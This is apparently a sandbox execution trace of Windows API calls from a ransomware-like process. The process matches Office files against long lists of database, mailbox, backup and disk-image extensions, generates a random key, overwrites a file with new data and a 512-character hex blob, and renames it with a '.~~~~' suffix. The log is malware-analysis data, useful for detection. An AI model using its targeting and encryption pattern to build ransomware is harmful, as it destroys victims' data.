	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".NDF") returned 0x0
	[0144.720] lstrlenW (lpString=".dat") returned 4
	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".dat") returned 0x0
	[0144.720] lstrlenW (lpString=".DBS") returned 4
	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".DBS") returned 0x0
	[0144.720] lstrlenW (lpString=".CKP") returned 4
	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".CKP") returned 0x0
	[0144.720] lstrlenW (lpString=".edb") returned 4
	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".edb") returned 0x0
	[0144.720] lstrlenW (lpString=".PST") returned 4
	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".PST") returned 0x0
	[0144.720] lstrlenW (lpString=".dbf") returned 4
	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".dbf") returned 0x0
	[0144.720] lstrlenW (lpString=".SQL") returned 4
	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".SQL") returned 0x0
	[0144.720] lstrlenW (lpString=".pst") returned 4
	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".pst") returned 0x0
	[0144.720] lstrlenW (lpString=".dbv") returned 4
	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".dbv") returned 0x0
	[0144.720] lstrlenW (lpString=".SDF") returned 4
	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".SDF") returned 0x0
	[0144.720] lstrlenW (lpString=".dtxs") returned 5
	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".dtxs") returned 0x0
	[0144.720] lstrlenW (lpString=".db3") returned 4
	[0144.720] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".db3") returned 0x0
	[0144.721] lstrlenW (lpString=".OST") returned 4
	[0144.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".OST") returned 0x0
	[0144.721] lstrlenW (lpString=".dbx") returned 4
	[0144.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".dbx") returned 0x0
	[0144.721] lstrlenW (lpString=".DB3") returned 4
	[0144.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".DB3") returned 0x0
	[0144.721] lstrlenW (lpString=".DAT") returned 4
	[0144.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".DAT") returned 0x0
	[0144.721] lstrlenW (lpString=".VHDX") returned 5
	[0144.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".VHDX") returned 0x0
	[0144.721] lstrlenW (lpString=".ndf") returned 4
	[0144.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".ndf") returned 0x0
	[0144.721] lstrlenW (lpString=".DB") returned 3
	[0144.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".DB") returned 0x0
	[0144.721] lstrlenW (lpString=".sql") returned 4
	[0144.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".sql") returned 0x0
	[0144.721] lstrlenW (lpString=".MYD") returned 4
	[0144.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".MYD") returned 0x0
	[0144.721] lstrlenW (lpString=".DBT") returned 4
	[0144.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".DBT") returned 0x0
	[0144.721] lstrlenW (lpString=".ACCDB") returned 6
	[0144.721] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".ACCDB") returned 0x0
	[0144.722] lstrlenW (lpString=".fdb") returned 4
	[0144.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".fdb") returned 0x0
	[0144.722] lstrlenW (lpString=".bak") returned 4
	[0144.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".bak") returned 0x0
	[0144.722] lstrlenW (lpString=".myd") returned 4
	[0144.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".myd") returned 0x0
	[0144.722] lstrlenW (lpString=".DTXS") returned 5
	[0144.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".DTXS") returned 0x0
	[0144.722] lstrlenW (lpString=".ckp") returned 4
	[0144.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".ckp") returned 0x0
	[0144.722] lstrlenW (lpString=".dbt") returned 4
	[0144.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".dbt") returned 0x0
	[0144.722] lstrlenW (lpString=".db") returned 3
	[0144.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".db") returned 0x0
	[0144.722] lstrlenW (lpString=".TXT") returned 4
	[0144.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".TXT") returned 0x0
	[0144.722] lstrlenW (lpString=".MDF") returned 4
	[0144.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".MDF") returned 0x0
	[0144.722] lstrlenW (lpString=".bdb") returned 4
	[0144.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".bdb") returned 0x0
	[0144.722] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.722] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.723] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0144.724] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.724] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0144.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.724] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26471449563) returned 1
	[0144.724] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbfaa8ed0, dwHighDateTime=0x1d60e1e)) 
	[0144.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fd30
	[0144.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fd30 | out: hHeap=0x300000) returned 1
	[0144.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0144.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835d98
	[0144.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
	[0144.725] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.725] GetLastError () returned 0x0
	[0144.726] GetLastError () returned 0x0
	[0144.726] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.726] GetLastError () returned 0x0
	[0144.726] GetLastError () returned 0x0
	[0144.726] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x9190, lpOverlapped=0x0) returned 1
	[0144.729] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffff6e70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.729] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x9190, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x9190, lpOverlapped=0x0) returned 1
	[0144.729] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.729] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.729] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.729] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.729] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.729] CloseHandle (hObject=0x104) returned 1
	[0144.730] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2835d98
	[0144.730] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.~~~~")) returned 1
	[0144.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2835d98 | out: hHeap=0x300000) returned 1
	[0144.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.733] GetLastError () returned 0x0
	[0144.733] RtlWakeConditionVariable () returned 0x0
	[0144.733] GetCurrentThreadId () returned 0x9f4
	[0144.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0144.733] lstrlenW (lpString=".cmd") returned 4
	[0144.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0144.733] lstrlenW (lpString=".dll") returned 4
	[0144.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0144.734] lstrlenW (lpString=".bat") returned 4
	[0144.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0144.734] lstrlenW (lpString=".cpl") returned 4
	[0144.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0144.734] lstrlenW (lpString=".sys") returned 4
	[0144.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0144.734] lstrlenW (lpString=".msc") returned 4
	[0144.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0144.734] lstrlenW (lpString=".com") returned 4
	[0144.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0144.734] lstrlenW (lpString=".lnk") returned 4
	[0144.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0144.734] lstrlenW (lpString=".msp") returned 4
	[0144.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0144.734] lstrlenW (lpString=".pif") returned 4
	[0144.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0144.734] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0144.737] lstrlenW (lpString=".sqb") returned 4
	[0144.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0144.737] lstrlenW (lpString=".ost") returned 4
	[0144.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0144.737] lstrlenW (lpString=".txt") returned 4
	[0144.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0144.737] lstrlenW (lpString=".mdt") returned 4
	[0144.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0144.737] lstrlenW (lpString=".BDB") returned 4
	[0144.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0144.737] lstrlenW (lpString=".eql") returned 4
	[0144.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0144.737] lstrlenW (lpString=".DBF") returned 4
	[0144.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0144.737] lstrlenW (lpString=".EQL") returned 4
	[0144.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0144.737] lstrlenW (lpString=".FDB") returned 4
	[0144.737] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0144.737] lstrlenW (lpString=".EDB") returned 4
	[0144.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0144.738] lstrlenW (lpString=".DACPAC") returned 7
	[0144.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0144.738] lstrlenW (lpString=".VHD") returned 4
	[0144.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0144.738] lstrlenW (lpString=".DBV") returned 4
	[0144.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0144.738] lstrlenW (lpString=".dacpac") returned 7
	[0144.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0144.738] lstrlenW (lpString=".sdf") returned 4
	[0144.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0144.738] lstrlenW (lpString=".accdb") returned 6
	[0144.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0144.738] lstrlenW (lpString=".DBX") returned 4
	[0144.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0144.738] lstrlenW (lpString=".MDT") returned 4
	[0144.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0144.738] lstrlenW (lpString=".SQB") returned 4
	[0144.738] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0144.738] lstrlenW (lpString=".vhd") returned 4
	[0144.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0144.739] lstrlenW (lpString=".bac") returned 4
	[0144.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0144.739] lstrlenW (lpString=".mdf") returned 4
	[0144.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0144.739] lstrlenW (lpString=".BAK") returned 4
	[0144.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0144.739] lstrlenW (lpString=".BAC") returned 4
	[0144.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0144.739] lstrlenW (lpString=".dbs") returned 4
	[0144.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0144.739] lstrlenW (lpString=".vhdx") returned 5
	[0144.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0144.739] lstrlenW (lpString=".NDF") returned 4
	[0144.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0144.739] lstrlenW (lpString=".dat") returned 4
	[0144.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0144.739] lstrlenW (lpString=".DBS") returned 4
	[0144.739] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0144.740] lstrlenW (lpString=".CKP") returned 4
	[0144.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0144.740] lstrlenW (lpString=".edb") returned 4
	[0144.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0144.740] lstrlenW (lpString=".PST") returned 4
	[0144.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0144.740] lstrlenW (lpString=".dbf") returned 4
	[0144.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0144.740] lstrlenW (lpString=".SQL") returned 4
	[0144.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0144.740] lstrlenW (lpString=".pst") returned 4
	[0144.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0144.740] lstrlenW (lpString=".dbv") returned 4
	[0144.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0144.740] lstrlenW (lpString=".SDF") returned 4
	[0144.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0144.740] lstrlenW (lpString=".dtxs") returned 5
	[0144.740] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0144.740] lstrlenW (lpString=".db3") returned 4
	[0144.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0144.741] lstrlenW (lpString=".OST") returned 4
	[0144.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0144.741] lstrlenW (lpString=".dbx") returned 4
	[0144.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0144.741] lstrlenW (lpString=".DB3") returned 4
	[0144.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0144.741] lstrlenW (lpString=".DAT") returned 4
	[0144.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0144.741] lstrlenW (lpString=".VHDX") returned 5
	[0144.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0144.741] lstrlenW (lpString=".ndf") returned 4
	[0144.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0144.741] lstrlenW (lpString=".DB") returned 3
	[0144.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0144.741] lstrlenW (lpString=".sql") returned 4
	[0144.741] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0144.741] lstrlenW (lpString=".MYD") returned 4
	[0144.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0144.742] lstrlenW (lpString=".DBT") returned 4
	[0144.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0144.742] lstrlenW (lpString=".ACCDB") returned 6
	[0144.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0144.742] lstrlenW (lpString=".fdb") returned 4
	[0144.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0144.742] lstrlenW (lpString=".bak") returned 4
